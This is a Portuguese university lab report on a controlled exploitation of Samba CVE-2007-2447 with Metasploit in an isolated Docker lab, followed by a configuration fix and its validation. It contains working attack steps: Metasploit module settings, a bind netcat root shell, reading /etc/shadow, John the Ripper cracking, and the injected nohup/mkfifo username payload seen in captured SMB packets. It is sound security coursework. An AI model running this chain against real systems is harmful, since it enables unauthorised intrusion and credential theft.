

Exploração controlada da vulnerabilidade CVE-2007-2447 no Samba utilizando Metasploit Framework em ambiente virtualizado

Universidade de São Paulo (USP) Instituto de Ciências Matemáticas e de Computação (ICMC)
SSC0900 — Engenharia de Segurança Trabalho prático

Integrantes

Nome	Nº USP
João Pedro Alves Notari Godoy	14582076
Enzo Tonon Morente	14568476
Cauê Paiva Lira	14675416
Pedro Henrique Ferreira Silva	14677526

Tema: Exploração controlada da vulnerabilidade Samba CVE-2007-2447 com Metasploit em ambiente Docker isolado, seguida de pós-exploração controlada (roubo e quebra de credenciais + análise de pacotes SMB) e mitigação por substituição de `username map script` por `username map` estático.

1. Introdução

O teste de penetração (*pentest*) é uma prática de segurança ofensiva conduzida de forma autorizada e controlada, cujo objetivo é identificar, demonstrar e documentar vulnerabilidades de um sistema antes que elas sejam exploradas por agentes mal-intencionados. A partir das evidências obtidas, é possível propor e validar contramedidas que reduzam a superfície de ataque.

Este relatório documenta um exercício acadêmico de pentest realizado em ambiente totalmente isolado e virtualizado, no qual se estudou, analisou e explorou de forma controlada a vulnerabilidade **CVE-2007-2447**, conhecida como *Samba "username map script" Command Execution*. A exploração foi conduzida com o **Metasploit Framework**, ferramenta central exigida pela especificação do trabalho, utilizando o módulo `exploit/multi/samba/usermap_script`.

O exercício foi estruturado em quatro grandes momentos:

1. **Reconhecimento e exploração controlada** da vulnerabilidade, comprovando a execução remota de comandos de maneira segura e não destrutiva.
2. **Demonstração de impacto pós-exploração:** obtenção de shell com privilégios de root, leitura de `/etc/shadow` e quebra de senhas com John the Ripper, além de captura e análise dos pacotes SMB que evidenciam a injeção no nível do protocolo.
3. **Aplicação de uma defesa** baseada em *hardening* de configuração, e não simplesmente na desativação do serviço.
4. **Validação da defesa**, repetindo o mesmo ataque para demonstrar que a condição explorável foi removida, mantendo o serviço Samba ativo.

Todo o trabalho respeitou princípios éticos: o alvo foi um container propositalmente vulnerável, executado em uma rede Docker isolada, sem qualquer interação com sistemas de terceiros ou redes públicas.

2. Objetivos

2.1 Objetivo geral

Estudar, analisar e demonstrar, em ambiente controlado e virtualizado, o ciclo completo de um pentest aplicado à vulnerabilidade CVE-2007-2447 do Samba, desde o reconhecimento até a pós-exploração com impacto à Confidencialidade (CIA) e a validação de defesa, empregando o Metasploit Framework como ferramenta central.

2.2 Objetivos específicos

- Compreender o funcionamento do protocolo SMB/CIFS e o papel do Samba em redes heterogêneas.
 - Analisar tecnicamente a vulnerabilidade CVE-2007-2447 e sua relação com a diretiva `username map script`.
 - Construir um ambiente de laboratório isolado utilizando Docker.
 - Realizar reconhecimento e enumeração do alvo com Nmap.
 - Executar a exploração controlada com o Metasploit, comprovando a execução remota de comandos de forma segura.
 - Demonstrar impacto pós-exploração: obter shell remoto com privilégios de root, extrair e quebrar credenciais do sistema com John the Ripper.
 - Capturar e analisar os pacotes SMB gerados durante o ataque, evidenciando a injeção no campo de nome de usuário no nível do protocolo.
 - Aplicar uma mitigação que mantenha o serviço operacional, substituindo `username map script` por `username map` estático.
 - Validar a eficácia da defesa repetindo o mesmo ataque.
 - Discutir estratégias complementares de defesa e as limitações do experimento.
-

3. Escopo, ética e ambiente controlado

Este trabalho foi conduzido exclusivamente em ambiente acadêmico, local e autorizado. Reforça-se que:

- Todo o experimento ocorreu em uma única máquina host, sem exposição a redes externas.
- A máquina vítima foi um container Docker propositalmente vulnerável (`metasploitable2`), criado especificamente para fins educacionais.
- Não houve qualquer ataque a sistemas de terceiros, nem uso de redes públicas.
- As credenciais extraídas são as padrão do `Metasploitable2`, de conhecimento público e usadas exclusivamente para fins didáticos. Não são credenciais reais de terceiros.
- A captura de pacotes limitou-se ao tráfego interno da rede Docker isolada.
- Não houve persistência, movimentação lateral, exfiltração para fora do ambiente nem tentativa

de ocultação de rastros.

- A comprovação da exploração foi feita de forma não destrutiva.
- O objetivo foi estritamente didático, defensivo e voltado à compreensão de como mitigar a vulnerabilidade estudada.

Optou-se conscientemente por uma terminologia técnica e sóbria: *exploração controlada*, *execução remota de comandos*, *prova de conceito*, *mitigação*, *validação da defesa* e *hardening*, evitando termos sensacionalistas.

4. Fundamentação teórica

4.1 Pentest

O *penetration test* é um processo metodológico de avaliação de segurança que simula, de forma autorizada, o comportamento de um atacante real. Suas fases clássicas incluem reconhecimento, enumeração, exploração, pós-exploração e relatório. O propósito não é causar dano, mas evidenciar riscos concretos e subsidiar a tomada de decisão sobre contramedidas.

4.2 Exploit

Um *exploit* é uma sequência de dados ou instruções que tira vantagem de um bug, falha ou vulnerabilidade na programação de um sistema-alvo, com a intenção de provocar um comportamento não previsto. As consequências típicas incluem escalção de privilégios, negação de serviço ou obtenção de acesso e controle sobre o sistema.

4.3 Payload

O *payload* é a carga útil executada no alvo após o sucesso do exploit. Ele determina o que efetivamente acontece na máquina vítima, podendo abrir uma sessão interativa (por exemplo, um *shell* reverso) ou simplesmente executar um comando único. Neste trabalho foram empregados dois tipos de payload: um bind (`cmd/unix/bind_netcat`) para obter shell interativo na fase de pós-exploração, e um genérico de execução de comando (`cmd/unix/generic`) para a prova de conceito inicial.

4.4 Metasploit Framework

O Metasploit é um *framework* de exploração que organiza, por meio de módulos, payloads e *handlers*, a execução padronizada de diversos exploits. Ele desacopla a vulnerabilidade explorada (o módulo) da ação realizada no alvo (o payload), o que permite combinar de forma flexível exploit e carga útil. É a ferramenta central exigida na especificação do trabalho.

4.5 Samba

O Samba é uma implementação livre dos protocolos SMB/CIFS para sistemas Unix/Linux. Ele permite que máquinas Linux/Unix compartilhem arquivos e impressoras com clientes Windows (e entre si), atuando como ponte de interoperabilidade entre os dois mundos. O serviço é fornecido principalmente pelo daemon `smbd`.

4.6 SMB/CIFS

O **SMB** (*Server Message Block*) e sua variante **CIFS** (*Common Internet File System*) constituem o protocolo de rede usado para compartilhamento de arquivos, impressoras e comunicação entre

processos em redes Windows. As portas tradicionais associadas são a **TCP/139** (NetBIOS Session Service) e a **TCP/445** (SMB direto sobre TCP).

4.7 A diretiva `username map script`

O arquivo de configuração `smb.conf` admite a opção `username map script`, que permite delegar o mapeamento de nomes de usuário a um **script externo**. A ideia original era oferecer flexibilidade: em vez de manter um arquivo estático de mapeamento, o administrador poderia escrever um script que, recebendo o nome de usuário informado pelo cliente, retornasse o nome de usuário local correspondente.

O problema é que o **nome de usuário é uma entrada controlada pelo cliente** e chegava ao script externo sem sanitização adequada. Quando o Samba montava a linha de comando para invocar o script, metacaracteres de shell presentes no nome de usuário podiam ser interpretados pelo interpretador de comandos, resultando em **injeção de comandos** (*command injection*).

4.8 CVE-2007-2447

A **CVE-2007-2447** descreve exatamente essa falha: quando a opção `username map script` está habilitada, é possível executar comandos arbitrários no servidor enviando, no campo de nome de usuário, uma cadeia contendo metacaracteres de shell. A cadeia de eventos pode ser resumida assim:

```
Cliente SMB envia entrada malformada
    ↓
Samba processa o nome de usuário
    ↓
A opção username map script chama um script externo
    ↓
A entrada controlada pelo cliente é tratada de forma insegura
    ↓
Metacaracteres de shell podem ser interpretados
    ↓
Comando é executado no sistema vítima
```

Um ponto crítico é que **a exploração ocorre antes da autenticação**: o nome de usuário é processado durante a negociação de sessão, de modo que o atacante não precisa conhecer senha alguma. Por isso, essa vulnerabilidade **não pode ser caracterizada como "senha fraca"**. Trata-se de uma falha de tratamento inseguro de entrada que leva à **execução remota de comandos** (RCE) sem credenciais. Como o `smbd` é executado com privilégios de `root`, o comando injetado herda esse contexto, ampliando o impacto.

4.9 `/etc/passwd` e `/etc/shadow`

O arquivo `/etc/passwd` lista as **contas de usuário** do Linux: nome, UID, diretório home, shell padrão etc. Por razões históricas é legível por todos, mas o campo de senha contém apenas `x`, indicando que a senha real está em outro lugar. Exemplo de linha:

```
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
```

O arquivo `/etc/shadow` é onde ficam as **senhas**, nunca em texto puro, ficam como *hash*. Esse arquivo só é legível pelo `root`. Exemplo de linha:

```
msfadmin:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
```

O trecho entre `$...$` é o hash da senha. O prefixo indica o algoritmo: `$1$` → MD5-crypt (antigo e fraco, usado no Metasploitable2), `$6$` → SHA-512 crypt, `$y$` → yescrypt (atual).

4.10 Hash de senha e quebra de senhas com John the Ripper

Um **hash** é o resultado de uma função de mão única: é fácil calcular o hash a partir da senha, mas inviável fazer o caminho inverso. Por isso os sistemas guardam o hash, não a senha. O **John the Ripper** é a ferramenta clássica de quebra de senhas: ele não "reverte" o hash, mas **adivinha** senhas (testando palavras de dicionário e variações), calcula o hash de cada palpite e compara com o hash extraído. Quando bate, a senha foi descoberta. Senhas fracas (como `msfadmin`, `user`, `postgres`) caem em segundos.

4.11 Shell reverso e shell bind

Para interagir com a vítima e **ver** a saída dos comandos, é necessário um **shell** (terminal remoto). Há duas formas:

- **Shell reverso** (`cmd/unix/reverse_netcat`): a **vítima conecta de volta** ao atacante. Requer informar o IP do atacante (`LHOST`).
- **Shell bind** (`cmd/unix/bind_netcat`): a **vítima abre uma porta** e o atacante se conecta nela. Não requer `LHOST`.

No laboratório Docker ambos funcionam, pois atacante e vítima estão na mesma rede isolada.

4.12 tcpdump, Wireshark e o pacote SMB "Session Setup"

O **tcpdump** captura pacotes de rede em linha de comando e salva em arquivo `.pcap`. O **Wireshark** abre esse arquivo graficamente, permitindo filtros e inspeção detalhada de cada campo de cada protocolo.

O protocolo SMB, ao iniciar uma conexão, envia uma mensagem chamada **"Session Setup AndX Request"** contendo um campo de **nome de usuário** (*Account*). É exatamente nesse campo que o exploit injeta a carga maliciosa: em vez de um nome normal, o Metasploit envia algo como `/=nohup ```. A captura torna esse fato visível no nível do protocolo, comprovando que a falha é **injeção de comando** e não "senha fraca", pois não há troca de senha, o comando viaja embutido no próprio nome de usuário, antes da autenticação.

5. Justificativa da escolha do ataque

A escolha do tema passou por uma análise comparativa entre três candidatos.

vsftpd 2.3.4 — Backdoor Command Execution. A primeira ideia considerada foi descartada por ser **simples demais**: o ataque consistia essencialmente em acionar um backdoor já presente no binário, a exploração era quase imediata, o uso do Metasploit ficava pouco central e a defesa era óbvia (atualizar ou remover o serviço). O relatório teria baixa complexidade técnica.

Apache Tomcat Manager — upload de WAR. A segunda alternativa também foi descartada porque **dependia de credenciais válidas ou fracas**. O ataque se assemelhava a "entrar porque se sabe a senha", e não a uma exploração técnica de uma falha de software.

Samba CVE-2007-2447 (escolha final). O tema escolhido reúne as características desejadas para o

trabalho:

- **Não depende de senha**, a exploração ocorre antes da autenticação.
- Explora uma **vulnerabilidade real e bem documentada**.
- Usa o **Metasploit como ferramenta principal**, com módulo dedicado.
- Permite **execução remota de comandos** e obtenção de shell com privilégios de root.
- Tem **causa técnica clara e explicável**: a diretiva `username map script`.
- Permite uma **pós-exploração controlada e didática**: roubo de credenciais via `/etc/shadow` e quebra com John the Ripper.
- Permite **análise dos pacotes SMB**, evidenciando a injeção no nível do protocolo.
- Permite uma **defesa prática** que não se resume a atualizar ou desligar o serviço.
- Permite **demonstrar o ataque antes da mitigação e repeti-lo depois**, evidenciando a eficácia da defesa.
- O **Samba permanece ativo após a defesa**, o que fortalece a narrativa técnica e a qualidade da mitigação proposta.

6. Ambiente de testes

O experimento foi realizado em ambiente controlado, local e virtualizado por meio de Docker.

Elemento	Descrição
Host	Ubuntu
Virtualização	Docker
Rede	Docker network isolada chamada <code>pentest_lab</code>
Máquina vítima	Container <code>metasploitable</code>
Imagem vítima	<code>tleemcjr/metasploitable2:latest</code>
IP da vítima	<code>172.19.0.2</code>
IP do atacante (gateway)	<code>172.19.0.1</code>
Serviço explorado	Samba
Portas analisadas	TCP/139 e TCP/445
Versão do Samba	Samba 3.0.20-Debian
Configuração vulnerável	<code>username map script = /etc/samba/scripts/mapusers.sh</code>
Ferramenta principal	Metasploit Framework
Módulo utilizado	<code>exploit/multi/samba/usermap_script</code>
Payload (prova de conceito)	<code>cmd/unix/generic</code>
Payload (pós-exploração)	<code>cmd/unix/bind_netcat</code>

Comando usado como prova segura	<code>touch /tmp/msf_samba_funcionou</code>
Ferramenta de quebra de senhas	John the Ripper
Ferramenta de captura de pacotes	tcpdump + Wireshark
Defesa aplicada	Substituição de <code>username map script</code> por <code>username map = /etc/samba/smbusers</code>

Diagrama textual do ambiente:

```
[Ubuntu host / atacante]
Metasploit + Nmap + John the Ripper + tcpdump/Wireshark + Docker
    |
    | Rede Docker isolada: pentest_lab (bridge br-xxxx)
    |
[Container vítima: metasploitable]
Samba 3.0.20-Debian
Portas 139/445 abertas
username map script habilitado inicialmente
```

A utilização de uma **rede Docker isolada** (`pentest_lab`) foi uma decisão deliberada de contenção: ela garante que todo o tráfego de ataque permaneça restrito ao ambiente do laboratório, sem alcançar a rede física do host nem qualquer rede externa. Dessa forma, o atacante (host) e a vítima (container) comunicam-se exclusivamente dentro de um segmento controlado, reforçando a segurança e a reprodutibilidade do experimento.

7. Ferramentas utilizadas

- **Docker**, provisionamento do ambiente isolado e do container vítima propositalmente vulnerável, além da criação da rede `pentest_lab`.
- **Nmap**, varredura de portas e detecção de versão de serviços, usada no reconhecimento e na validação posterior de que o serviço continuou ativo.
- **Metasploit Framework**, ferramenta central de exploração, responsável por executar o módulo `exploit/multi/samba/usermap_script` com diferentes payloads.
- **John the Ripper**, ferramenta de quebra de senhas usada na fase de pós-exploração para recuperar as senhas em texto puro a partir dos hashes extraídos do `/etc/shadow`.
- **tcpdump**, capturador de pacotes em linha de comando, usado para gravar o tráfego SMB gerado durante o ataque em arquivo `.pcap`.
- **Wireshark**, analisador de protocolo gráfico, usado para abrir o arquivo `.pcap` e inspecionar o campo de nome de usuário (*Account*) do pacote *Session Setup AndX Request*, evidenciando visualmente a injeção de comando no nível do protocolo.
- **Bash / Linux**, execução de comandos de verificação no host e no container (inspeção de processos, leitura do `smb.conf`, verificação de arquivos de prova etc.).
- **Comandos de verificação**, `docker inspect`, `docker exec`, `grep`, `ps`, `ls`, entre outros,

utilizados para coletar evidências.

8. Reconhecimento e enumeração

8.1 Criação da rede Docker isolada

```
sudo docker network create pentest_lab
```

8.2 Criação do container vítima

```
sudo docker run -it -d \
  --name metasploitable \
  --network pentest_lab \
  tleemcjr/metasploitable2:latest \
  sh -c '/bin/services.sh; tail -f /dev/null'
```

8.3 Identificação do IP da vítima

```
sudo docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{e
```

O IP retornado para a vítima foi 172.19.0.2.

8.4 Varredura inicial com Nmap

```
nmap -sV -p 139,445 172.19.0.2
```

Interpretação:

- As portas **139 e 445 estavam abertas**.
- Ambas estavam associadas ao serviço **Samba**.
- Isso confirmou que a vítima expunha SMB/Samba na rede Docker isolada, viabilizando a continuidade da análise.

8.5 Acesso ao container vítima

Os comandos de inspeção a seguir (8.6, 8.7 e 8.8) são executados **dentro do container**. Para entrar no shell do container sem precisar prefixar cada comando com `docker exec`, executa-se:

```
sudo docker exec -it metasploitable bash
```

A partir deste ponto, todos os comandos rodam diretamente na máquina vítima. Para retornar ao host ao final da seção, basta digitar `exit`.

8.6 Verificação do processo Samba

```
ps aux | grep smbd
```

Observa-se que o daemon `smbd` está em execução sob o usuário `root`, o que é relevante para o impacto potencial da execução remota de comandos.

8.7 Versão do Samba

```
smbd -V
```

Interpretação:

- A versão 3.0.20-Debian está dentro do intervalo historicamente associado à CVE-2007-2447.
- Essa versão, combinada com a diretiva `username map script`, torna o alvo compatível com o cenário explorado pelo módulo do Metasploit.

8.8 Verificação da configuração vulnerável

```
grep -n "username map script" /etc/samba/smb.conf
```

Interpretação:

- A configuração vulnerável estava **presente e ativa**.
 - A diretiva chamava um **script externo** para o mapeamento de usuário.
 - Essa condição era **essencial** para a exploração: sem ela, o módulo não teria efeito.
-

9. Análise da vulnerabilidade

A CVE-2007-2447 decorre do tratamento inseguro do nome de usuário quando a opção `username map script` está habilitada. O fluxo lógico, já apresentado na fundamentação, repete-se aqui sob a ótica do experimento:

1. O cliente SMB inicia uma sessão e fornece um **nome de usuário** durante a negociação.
2. Com `username map script` ativo, o Samba **invoca um script externo** passando esse nome de usuário.
3. Como a montagem da linha de comando não sanitiza adequadamente a entrada, **metacaracteres de shell** contidos no nome de usuário são interpretados.
4. O resultado é a **execução de comandos arbitrários** no contexto do processo `smbd`.

Dois aspectos merecem destaque:

- **Não requer senha.** O nome de usuário é processado antes da autenticação propriamente dita. Logo, o atacante não precisa de credenciais válidas.
- **Execução com privilégios elevados.** Como o `smbd` roda como `root` (conforme evidenciado pela saída de `ps aux`), o comando injetado é executado com privilégios administrativos, ampliando o impacto potencial.

O módulo `exploit/multi/samba/usermap_script` do Metasploit automatiza exatamente esse processo: ele estabelece a conexão SMB e injeta, no campo de nome de usuário da mensagem *Session Setup AndX Request*, a sequência maliciosa que aciona o comando definido pelo payload. A análise de pacotes na Seção 11 evidencia isso no nível do protocolo.

10. Execução controlada do exploit com Metasploit

10.1 Inicialização do Metasploit

```
msfconsole
```

10.2 Busca pelo módulo

```
search usermap_script
```

Interpretação:

- O módulo existe no Metasploit.
- O *rank* é *excellent*, indicando alta confiabilidade do exploit.
- O módulo **não possui suporte ao comando check** (coluna `Check = No`), de modo que a verificação prévia automatizada não está disponível.
- O módulo se relaciona diretamente ao Samba `username map script`.

10.3 Seleção do módulo

```
use exploit/multi/samba/usermap_script
```

10.4 Escolha do payload `cmd/unix/generic` para prova de conceito inicial

Para a comprovação inicial da execução remota optou-se pelo payload `cmd/unix/generic`. Essa escolha é a mais adequada ao objetivo desta etapa pelas seguintes razões:

- **Não depende de conexão de retorno.** Diferentemente de um payload reverso, o `cmd/unix/generic` apenas executa um comando único no alvo. Em uma rede Docker isolada, isso elimina variáveis de rede e torna o teste mais determinístico.
- **É mínimo e não destrutivo.** Permite uma **prova de conceito segura**, sem abrir sessão interativa nem alterar o estado do sistema além do estritamente necessário.
- **Foca no que importa para a prova inicial.** O objetivo aqui é **comprovar que a vulnerabilidade permite executar comandos arbitrários**, um arquivo observável no alvo é evidência suficiente.

Seleção do payload:

```
set payload cmd/unix/generic
```

Para confirmar as opções disponíveis antes de configurar:

```
options
```

10.5 Comprovação por criação de arquivo

Como prova segura, definiu-se um comando que apenas cria um arquivo vazio em `/tmp`:

```
set CMD touch /tmp/msf_samba_funcionou
set RHOSTS 172.19.0.2
set RPORT 139
run
```

Verificação no **terminal do container** (já aberto desde a Seção 8.5):

```
ls -l /tmp/msf_samba_funcionou
```

Interpretação:

- Embora nenhuma sessão interativa tenha sido criada, o **arquivo apareceu dentro da vítima**.
- Isso **comprova que o comando remoto foi executado**, conforme evidenciado pela saída obtida.
- O exploit, portanto, **funcionou**.
- A comprovação foi feita de forma **segura e não destrutiva**.

É importante não exagerar na conclusão desta etapa: como a sessão interativa não foi estabelecida, **não se deve afirmar que houve "controle total"** do sistema. A conclusão tecnicamente correta é:

O experimento comprovou a **execução remota de comandos** via Metasploit.

A etapa seguinte (Seção 11) demonstra, de forma controlada, **até onde um atacante real conseguiria ir** a partir dessa mesma falha.

11. Demonstração controlada de impacto pós-exploração

Esta seção demonstra o impacto real da vulnerabilidade, **até onde um atacante conseguiria ir** a partir da execução remota comprovada na seção anterior. São duas frentes complementares:

- **Frente A (impacto à Confidencialidade):** obtenção de shell com privilégios de root, leitura de `/etc/shadow` e quebra das senhas com John the Ripper.
- **Frente B (evidência de protocolo):** captura e análise dos pacotes SMB com tcpdump/Wireshark, mostrando a injeção visível no campo de nome de usuário.

A narrativa é direta: entramos **sem saber nenhuma senha** (a falha é pré-autenticação) e, ainda assim, conseguimos **sair com as senhas de todos os usuários** do sistema, e conseguimos **mostrar o ataque acontecendo dentro do pacote**.

11.1 Instalação das ferramentas necessárias

```
sudo apt-get update
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y john tcpdump wireshark
```

O `DEBIAN_FRONTEND=noninteractive` evita que a instalação do Wireshark trave esperando resposta interativa sobre permissões de captura. Como a captura será feita com `sudo`, isso não afeta o funcionamento.

11.2 Verificação do estado vulnerável do ambiente

Antes de iniciar, confirmar que a diretiva vulnerável está ativa (ela pode ter sido comentada ao final de testes anteriores):

```
sudo docker exec metasploitable grep -n "username map" /etc/samba/smb.conf
```

- **Se aparecer `username map script = ...` (sem #):** está vulnerável, pode prosseguir.
- **Se a linha estiver comentada:** restaurar a configuração original:

```
sudo docker exec metasploitable cp /etc/samba/smb.conf.bak /etc/samba/smb.conf
sudo docker exec metasploitable /etc/init.d/samba restart
```

11.3 Descoberta da interface bridge da rede Docker

O comando a seguir, usado na próxima seção para a captura de pacotes, precisa do nome da interface bridge da rede `pentest_lab`. Descobrir antecipadamente:

```
sudo docker network inspect pentest_lab | grep Gateway
```

11.4 Início da captura de pacotes (Frente B) — ANTES do ataque

A captura precisa estar rodando **antes** de disparar o exploit para gravar o pacote que contém a injeção. Executar em um **terminal separado**:

```
BRIDGE=$(sudo docker network inspect pentest_lab -f '{{.Id}}' | cut -c1  
echo "$BRIDGE"
```

```
sudo tcpdump -i "$BRIDGE" -w samba_attack.pcap 'tcp port 139 or tcp port 44
```

Deixar este terminal **rodando** (fica capturando). Será parado com Ctrl+C após o ataque (passo 11.7).

11.5 Obtenção de shell na vítima

Em **outro terminal**, usar o mesmo módulo em duas etapas.

Etapa 1 — payload genérico (captura do pacote para análise no Wireshark)

O payload `cmd/unix/generic` gera um comando curto no campo Account do pacote SMB, que o Wireshark consegue exibir de forma limpa. Esse é o pacote analisado na seção 11.8.

```
msfconsole  
  
use exploit/multi/samba/usermap_script  
set RHOSTS 172.19.0.2  
set RPORT 139  
set payload cmd/unix/generic  
set CMD id  
run
```

O comando `id` retornou `uid=0(root)`, confirmando execução remota de comando com privilégios de **root**.

Etapa 2 — payload de shell interativo

Sem sair do `msfconsole`, trocar para o payload `cmd/unix/bind_netcat`. Nesta variante a vítima abre uma porta e o Metasploit conecta nela, não é necessário `LHOST`, o que funciona de forma confiável na rede Docker isolada.

```
set payload cmd/unix/bind_netcat  
run
```

O Metasploit abriu uma **sessão de shell interativa** (bind, conectando em `172.19.0.2:4444`), retornando o prompt `sh-3.2#` na vítima.

11.6 Confirmação de contexto root e extração de credenciais

Ainda no shell obtido, executar:

```
id
```

Isso prova execução com **privilégios máximos**, o `smbd` roda como root, portanto o comando injetado herda esse contexto.

```
cat /etc/passwd
```

```
cat /etc/shadow
```

O fato de conseguir ler o `/etc/shadow` (normalmente restrito ao root) é a evidência direta de comprometimento da **Confidencialidade**. Os hashes obtidos estavam em **MD5-crypt** (`$1$`), algoritmo antigo e computacionalmente barato.

```
exit
```

11.7 Quebra de senhas com John the Ripper

Salvar os arquivos no atacante com o conteúdo copiado:

```
nano passwd.txt    # colar o conteúdo de /etc/passwd
nano shadow.txt    # colar o conteúdo de /etc/shadow
```

Combinar os arquivos com `unshadow` (ferramenta do John que une as informações dos dois):

```
unshadow passwd.txt shadow.txt > unshadowed.txt
```

Executar o John the Ripper:

```
john unshadowed.txt
```

Ver as senhas descobertas:

```
john --show unshadowed.txt
```

As senhas recuperadas foram `msfadmin:msfadmin`, `user:user`, `postgres:postgres` e `service:service`.

Interpretação:

- As senhas caem **instantaneamente** porque o Metasploitable2 usa senhas intencionalmente fracas (usuário igual à senha).
- O John começa pelo *single crack mode*, que testa justamente o nome do usuário e variações, por isso essas contas caem sem precisar de dicionário externo.
- O algoritmo usado é **MD5-crypt** (\$1\$), antigo e computacionalmente barato, o que também contribui para a rapidez.
- Isso prova que, partindo de uma falha **sem autenticação**, foi possível **extrair e quebrar as senhas** de todos os usuários do sistema.

11.8 Análise dos pacotes SMB (Frente B)

Voltar ao terminal do passo 11.4 e pressionar `Ctrl+C` para parar a captura. O arquivo `samba_attack.pcap` contém o tráfego do ataque.

Análise em linha de comando:

```
sudo tcpdump -r samba_attack.pcap -A | grep -i nohup
```

Interpretação:

- O **campo de nome de usuário SMB** contém a injeção: `/=nohup mkfifo ... ``` em vez de um nome de usuário legítimo.
- Os acentos graves (``) fazem o shell interpretar o conteúdo como comando, esses são os metacaracteres descritos na fundamentação teórica, agora visíveis no tráfego de rede.
- O comando injeta um `mkfifo` (pipe nomeado) e usa `netcat` para abrir uma porta de shell na vítima, exatamente o que permitiu a obtenção do shell root demonstrada na seção anterior.

Análise visual no Wireshark:

```
wireshark samba_attack.pcap &
```

Dentro do Wireshark:

1. No campo de **filtro de exibição**, digitar e aplicar: `smb.account`
2. Isso isola os pacotes "**Session Setup AndX Request**" que carregam o nome de usuário. Aparecerão dois pacotes, clicar no **primeiro** (payload genérico, comando curto).
3. Expandir, no painel do meio, a árvore **SMB** → **Session Setup AndX Request**.
4. Localizar o campo "**Account**", em vez de um nome de usuário normal, conterá a injeção: `/=nohup id```.

Os **acentos graves** (```) e `onohup`` são exatamente os "metacaracteres de shell" descritos na fundamentação teórica, agora **visíveis dentro do pacote de rede**.

Wireshark

Campo Account do pacote Session Setup AndX Request no Wireshark, exibindo a injeção de comando.

11.9 Interpretação do impacto (tríade CIA)

- **Confidencialidade**, a principal afetada: o atacante leu o `/etc/shadow` e recuperou as senhas em texto puro de todos os usuários do sistema.
- **Integridade**, com acesso root, o atacante poderia alterar qualquer arquivo do sistema (não realizado nesta demonstração controlada).
- **Disponibilidade**, com privilégios de root, o atacante poderia parar serviços ou derrubar o sistema (também não realizado).

O que os pacotes provam: a captura confirma que o ataque ocorre **no campo de nome de usuário e antes da autenticação**, não há troca de senha válida. O comando viaja embutido no próprio nome de usuário. Isso comprova visualmente por que a falha **não** é "senha fraca", mas sim **injeção de comando** ocorrendo no protocolo SMB.

A causa-raiz **continua sendo a CVE-2007-2447**. O roubo de senha foi apenas uma **consequência** do acesso obtido. Por isso, a defesa principal (remover a brecha de execução remota) também **interrompe esta cadeia**.

11.10 Limpeza após a demonstração

```
rm -f passwd.txt shadow.txt unshadowed.txt
rm -f ~/.john/john.pot      # limpa o cache de senhas já quebradas do John
rm -f samba_attack.pcap    # remove a captura de pacotes
```

12. Mitigação aplicada

Após a exploração, aplicou-se uma defesa baseada em **alteração de configuração** (*hardening*), e não em medidas que comprometessem a disponibilidade do serviço. Especificamente, a defesa **não** consistiu em:

- Desligar o Samba.
- Bloquear as portas 139/445.
- Atualizar o Samba.

- Remover o serviço.

A defesa consistiu em:

- **Remover a chamada ao script externo** (`username map script`).
- **Substituí-la por um arquivo estático de mapeamento** (`username map`).
- **Manter o serviço Samba ativo.**
- **Repetir o mesmo ataque** para verificar que a exploração deixou de funcionar.

A racionalidade é direta: a vulnerabilidade existe porque uma entrada controlada pelo cliente chega a um interpretador de comandos por meio de um script externo. Ao substituir esse mecanismo por um **mapeamento estático**, elimina-se a passagem da entrada do cliente para o shell, fechando o caminho explorável **sem sacrificar a funcionalidade de compartilhamento**.

12.1 Limpeza do arquivo de prova

No **terminal do container** (já aberto desde a Seção 8.5):

```
rm -f /tmp/msf_samba_funcionou
ls -l /tmp/msf_samba_funcionou
```

A remoção do arquivo de prova garante que a validação posterior parta de um estado limpo, sem contaminação do teste anterior.

12.2 Backup da configuração

```
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
```

12.3 Comentário da linha vulnerável

```
sed -i 's/^[[:space:]]*username map script/# username map script/' /etc/sam
```

12.4 Criação do arquivo estático de mapeamento

```
cat > /etc/samba/smbusers <<'EOF'
root = administrator admin
nobody = guest pcguest smbguest
EOF
```

12.5 Inclusão do `username map` estático

```
grep -q "username map = /etc/samba/smbusers" /etc/samba/smb.conf || \
echo "username map = /etc/samba/smbusers" >> /etc/samba/smb.conf
```

12.6 Verificação da nova configuração

```
grep -n "username map" /etc/samba/smb.conf
```

Interpretação:

- A linha vulnerável foi **comentada** (linha 107).
- A nova diretiva `username map` foi **adicionada** (linha 250).
- O mapeamento passou a ser **estático e controlado**, sem invocar script externo.

12.7 Reinício do Samba e saída do container

13. Validação da defesa

Para validar a eficácia da mitigação, repetiu-se **o mesmo ataque, com o mesmo comando e o mesmo alvo**.

13.1 Repetição da prova de conceito (payload genérico)

```
set payload cmd/unix/generic
set CMD touch /tmp/msf_samba_funcionou
set RHOSTS 172.19.0.2
set RPORT 139
run
```

Verificação no **terminal do container**:

```
ls -l /tmp/msf_samba_funcionou
```

Interpretação:

- **Antes** da defesa, o mesmo comando criou o arquivo `/tmp/msf_samba_funcionou`.
- **Depois** da defesa, o arquivo **não foi criado**.
- A **exploração deixou de funcionar**.

13.2 Tentativa de shell bind após a defesa

```
set payload cmd/unix/bind_netcat
run
```

Sem sessão de shell, portanto, **sem acesso ao `/etc/shadow` e sem quebra de senhas possível**. A cadeia de roubo de credenciais foi interrompida na raiz.

13.3 Análise de rede após a defesa (insight valioso)

Se a captura estiver ativa durante a tentativa pós-defesa, observa-se que o **pacote com o nome de usuário malicioso ainda é enviado**, mas **não produz execução**. Isso ilustra com precisão o mecanismo da defesa: ela não "bloqueia o pacote", mas **trata a entrada de forma segura** (mapeamento estático em vez de passá-la a um shell). O campo *Account* continua contendo a injeção, mas ela não chega a um interpretador de comandos.

13.4 Prova de que o Samba continuou ativo

Para demonstrar que a defesa não comprometeu a disponibilidade do serviço, repetiu-se a varredura com Nmap e a inspeção de processos.

```
nmap -sV -p 139,445 172.19.0.2
```

```
ps aux | grep smbd
```

Interpretação:

- As portas **139 e 445 continuaram abertas**.
- O `smbd` **continuou rodando**.

- O serviço **não foi desativado**.
- A defesa foi uma **alteração de configuração**, não uma remoção do serviço.

A mitigação não consistiu em desligar o Samba nem em bloquear totalmente o acesso às portas SMB. Após a alteração, o serviço continuou ativo e acessível na rede Docker, mas o caminho explorável pelo módulo do Metasploit foi removido.

14. Comparação antes/depois

Etapa	Antes da defesa	Depois da defesa
Samba ativo	Sim	Sim
Portas 139/445 abertas	Sim	Sim
<code>username map script</code>	Ativo	Comentado/desabilitado
